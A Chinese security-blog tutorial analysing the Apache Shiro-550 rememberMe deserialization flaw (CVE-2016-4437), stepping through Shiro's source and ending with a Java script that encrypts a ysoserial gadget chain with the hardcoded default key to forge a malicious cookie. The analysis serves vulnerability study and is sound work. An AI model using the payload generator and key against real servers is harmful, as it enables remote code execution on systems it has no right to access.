freeBuf
深入探究Shiro反序列化漏洞
2024-04-02 11:40:03

什么是shrio反序列化漏洞

Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护

Shiro-550反序列化漏洞(CVE-2016-4437) 漏洞简介 shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。 于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。

环境搭建

我们先去github下载shiro 1.2.4的工程代码,下载链接如下

shrio 1.2.4

然后解压到一个文件夹,并打开shiro-shiro-root-1.2.4/pom.xml文件,并把jstl依赖版本改为1.2

1711202988730.png

然后使用IDEA打开Maven项目,位置选择我们刚才解压的文件夹,最后点击确认

1711203015927.png

然后IDAE会自动下载依赖项,需要等待一段时间,如果感觉下的很慢,或者下载失败的话,可以将Maven的下载源更改为国内的

1711203036535.png

下载完成后我们编辑下运行配置,设置为Tomcat本地服务器运行,然后JRE选择我们Java8版本的

1711203068871.png

然后点击部署,工件选择samples-web:war

1711203087252.png

最后点击运行即可,出现下面界面即代表配置成功

1711203104257.png

漏洞判断

访问url/samples_web_war/login.jsp,并登陆抓包
1711203120903.png

抓包完成后,我们回到网页退出下登陆,然后在repeater界面重放下,可以看到remenberme 字段,代表可能存在shrio反序列化漏洞
1711203153748.png
当发现cookie中带有rememberMe字段时,就会触发getRememberedPrincipals方法

该方法路径为org\apache\shiro\mgt\AbstractRememberMeManager.java 390行 getRememberedPrincipals

rememberMe解密流程

1711203194323.png

1711203218898.png

在shiro进行反序列化前会经过三层解密,如上图所示

1.getRememberedSerializedIdentity(subjectContext) //base64解密
2.convertBytesToPrincipals(bytes, subjectContext) //密钥aes解密&反序列化解密
	2.1 decrypt(bytes) 密钥解密
	2.2 deserialize(bytes)反序列化解密

接下来便对这三层解密进行分析

代码分析

第一层解密

在我们Cookie中传入代码如下rememberMe字段后会先调用getRememberedPrincipals方法对其处理,其中参数subjectContext便是我们传入的rememberMe字段

我们看下该方法的代码

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

代码中的subjectContext属性便为rememberMe字段的值,我们发现对其调用了getRememberedSerializedIdentity方法,跟进查看该方法代码如下

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);       //关键代码
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

我们看到这句代码byte[] decoded = Base64.decode(base64);,对我们rememberMe字段进行base64解密,然后执行代码return decoded;,返回解密结果

第二层解密

然后回到PrincipalCollection方法,调用第二个解密,也就是调用convertBytesToPrincipals方法对刚才base64解密的结果进行解密

principals = convertBytesToPrincipals(bytes, subjectContext);

我们查看下convertBytesToPrincipals方法,代码如下

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

2.1层解密

首先会对传入的bytes执行函数decrypt(bytes),进行默认的密钥解码

我们看下decrypt函数的代码

protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

发现是通过这行代码解密的ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

但是前提得满足if (cipherService != null)

cipherService属性的值是通过代码CipherService cipherService = getCipherService();获取的,我们查看下该方法

public CipherService getCipherService() {
        return cipherService;
    }

该方法会把属性cipherService的值给该函数中属性cipherService

并且进入if语句后是调用getDecryptionCipherKey()方法获取的密钥进行解密

那现在有两个问题

  1. 属性cipherService的值如何获得呢?

  2. getDecryptionCipherKey()方法又是如何获取的密钥进行解密的呢?

先不着急,我们再看下getDecryptionCipherKey()方法的代码

public byte[] getDecryptionCipherKey() {
        return decryptionCipherKey;
    }

可以看到这里会返回全局变量decryptionCipherKey,我们对它查看用法,查看是如何赋值的,用法代码如下

public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
        this.decryptionCipherKey = decryptionCipherKey;
    }

我们发现调用setDecryptionCipherKey方法会对decryptionCipherKey属性进行赋值,我们再对该方法进行查看用法,查看哪里调用了setDecryptionCipherKey方法对其赋值

我们来到了setCipherKey方法,发现调用这个方法可以对其赋值,进行逐步调用上面的那些函数从而赋值decryptionCipherKey属性

public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

那我们看下是哪里调用了setCipherKey方法,通过查看用法我们来到了AbstractRememberMeManager类构造方法

在构造方法当中便可以回答我们上面的两个问题

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService(); //赋值cipherService
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);  //赋值密钥decryptionCipherKey
    }

我们看下默认的秘钥DEFAULT_CIPHER_KEY_BYTES的定义,发现其为一个固定的全局属性,只有在shrio 1.2.4当中,密钥才是固定的,在更高版本中则为随机的

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

接下来便调用decrypt方法中的以下代码进行秘钥解密

if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;

2.2层解密

在进行秘钥解密后,便会return解密结果,然后回到convertBytesToPrincipals方法,对其结果调用方法deserialize(bytes),进行最后一步反序列化解密,反序列化漏洞便出现在deserialize方法代码里面

我们查看下deserialize方法代码的代码

protected PrincipalCollection deserialize(byte[] serializedIdentity) {
        return getSerializer().deserialize(serializedIdentity);
    }

可以看到deserialize方法会继续调用getSerializer().deserialize方法处理刚才的秘钥解密数据,

我们先看下getSerializer()方法是怎么定义的,右键查看定义,代码如下

public Serializer<PrincipalCollection> getSerializer() {
        return serializer;
    }

可以看到返回了全局变量serializer,我们看下该属性的定义,再次来到了构造方法

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

发现serializer属性被赋值为了DefaultSerializer对象,也就是说getSerializer().deserialize实际上是调用了DefaultSerializer对象中的deserialize方法,我们查看其代码

public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
}

然后便会调用代码T deserialized = (T) ois.readObject();,对我们传入的payload经过3层解密后进行反序列化,然后代码执行

exp

我们使用那条cc链还需要根据具体的java版本以及相关的库版本相关,加密生成rememberMe字段的脚本如下

paylod.txt中存放我们用yso生成的cc链字节码

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("./cs"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));//key可使用脚本爆破

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
        try (FileWriter fileWriter = new FileWriter("./paylod.txt")) {
            fileWriter.append(ciphertext.toString());
        }
    }
}
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录